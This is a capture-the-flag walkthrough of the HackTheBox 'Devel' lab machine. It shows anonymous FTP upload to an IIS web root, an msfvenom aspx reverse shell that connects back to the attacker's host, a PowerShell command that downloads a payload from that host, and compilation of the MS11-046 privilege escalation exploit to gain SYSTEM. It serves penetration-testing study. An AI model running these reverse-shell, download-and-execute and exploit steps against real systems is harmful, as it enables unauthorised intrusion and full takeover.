Devel

Reconnaissance:

WAPPALYZER

Web frameworks

Microsoft ASP.NET

Web servers

IIS 7.5

Operating systems

Windows Server

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.5 

21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png

80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS7

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O -p- 10.10.10.5


┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.5

Enumeration:

FTP: TCP 21

The FTP server seems to be in the same root as the HTTP server. Why is that interesting? Well, if I upload a reverse shell in the FTP server, I might be able to run it through the web server. Not much to enumerate beyond what was in the nmap script results. I can log in with username “anonymous” and an empty password. No real files of interest.

┌──(kali㉿kali)-[~]
└─$ ftp 10.10.10.5  
Name (10.10.10.5:kali): anonymous

To test out our theory, we’ll create a test.html file that displays the word “hello”.
$ echo "<html><body>hello</body></html>" > test.html 
$ cat test.html

Upload the file on the ftp server.
$ put test.html

List the files in the directory to confirm that the file has been uploaded.
$ ls

In the web browser, check if the test.html file is rendered in the web server.
http://10.10.10.5/test.html

Alright! This confirms that if we upload a file in the ftp server, and call it in the browser it will get executed by the web server. Our nmap scan showed that the web server is Microsoft IIS version 7.5. IIS web server generally either executes ASP or ASPX (ASP.NET). Since the version is 7.5, further googling tells us that it likely supports ASPX. Seeing that this server is running ASP.NET means I will likely need a .aspx webshell when I get to that.

Website: TCP 80

The page is just the default IIS page: http://10.10.10.5/

Foothold: Shell as web

MSFvenom

Let’s use MSFvenom to generate our reverse shell. MSFvenom is a framework that is largely used for payload generation. To display the format of payloads it supports, run the following command.

┌──(kali㉿kali)-[~]
└─$ msfvenom --list formats

The output shows that aspx is one of the options. Similarly, you can check the payload options with the following command. Since the machine we’re working with is Windows, we filter out the results to only show us Windows payloads.

┌──(kali㉿kali)-[~]
└─$ msfvenom --list payloads | grep windows

We’ll go with the general reverse shell since Meterpreter is not allowed in the OSCP. Run the following MSFvenom command to generate the aspx payload.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=10.10.14.8 LPORT=4444 -o reverse-shell.aspx
-p: payload
-f: format
LHOST: attack machine’s (kali) IP address
LPORT: the port you want to send the reverse shell across
-o: where to save the payload

Then, we’ll upload the generated payload on the FTP server and confirm that it has been uploaded.

put reverse-shell.aspx 
ls

Start a netcat listener on the attack machine to receive the reverse shell when it’s executed.

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444

In the web browser load the reverse-shell.aspx file we uploaded in the FTP server.

┌──(kali㉿kali)-[~/Desktop]
└─$ ftp 10.10.10.5 

ftp> put reverse-shell.aspx

ftp> ls

http://10.10.10.5/reverse-shell.aspx

Go back to your listener to see if the shell connected back. Perfect! We have a shell and it’s running as iis apppool\web. Change the directory to the Users directory where the flags are stored.

c:\windows\system32\inetsrv> cd \users
c:\Users> ls
c:\Users> dir

Try to access the babis and Administrator user directories.

We don’t have permission, so let’s learn more about the operating system to see if we can escalate privileges.

c:\Users> systeminfo

We’re on a Microsoft Windows 7 build 7600 system. It’s fairly old and does not seem to have been updated, so it’s probably vulnerable to a bunch of exploits.

Privilege Escalation:

Let’s use google to look for exploits. The first two exploits displayed allow us to escalate privileges. The second exploit (MS11–046), has documentation on how to compile the source code, so we’ll go with that one.

Get the EDB-ID from the web page, so that we can use it to find the exploit in searchsploit. Update searchsploit to ensure you have all the latest vulnerabilities.

┌──(kali㉿kali)-[~/Desktop]
└─$ searchsploit -u

Use the -m flag to look for the exploit 40564 and copy it to the current directory.

┌──(kali㉿kali)-[~/Desktop]
└─$ searchsploit -m 40564

Now, we need to compile the exploit. The compilation instructions are in th

Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046)Exploit Database

# Exploit notes:
#   Privileged shell execution:
#     - the SYSTEM shell will spawn within the invoking shell/process
#   Exploit compiling (Kali GNU/Linux Rolling 64-bit):
#     - # i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32
#   Exploit prerequisites:
#     - low privilege access to the target OS
#     - target OS not patched (KB2503665, or any other related
#       patch, if applicable, not installed - check "Related security
#       vulnerabilities/patches")
#   Exploit test notes:
#     - let the target OS boot properly (if applicable)
#     - Windows 7 (SP0 and SP1) will BSOD on shutdown/reset

If you don’t have mingw-w64 installed, install it.

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo apt-get install mingw-w64

Compile it using the listed command.

┌──(kali㉿kali)-[~/Desktop]
└─$ i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32

Alright, we have a compiled exploit. Now what is left is to transfer the exploit to the target (Devel) machine. Start up a server on the attack (Kali) machine.

┌──(kali㉿kali)-[~/Desktop]
└─$ python -m SimpleHTTPServer 9005

Netcat doesn’t seem to be installed on Windows, but powershell is. So, we’ll use it to transfer the file from our server to a directory we can write to.

c:\Users> powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.8:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"

The file is now in the Downloads directory. Execute it and check if the exploit worked and escalated our privileges.

c:\Users>cd \Users\Public\Downloads
c:\Users\Public\Downloads>dir

c:\Users\Public\Downloads>40564.exe
c:\Windows\System32>whoami
nt authority\system

We have system! Navigate to the user.txt file and output its content to get the user flag.

c:\Windows\System32>cd c:\Users\babis\Desktop
c:\Users\babis\Desktop>dir
c:\Users\babis\Desktop>type user.txt

Do the same thing for the root flag.

c:\Users\babis\Desktop>cd c:\Users\Administrator\Desktop 
c:\Users\Administrator\Desktop>dir
c:\Users\Administrator\Desktop>type root.txt

PreviousBlue NextOptimum

Last updated 2 years ago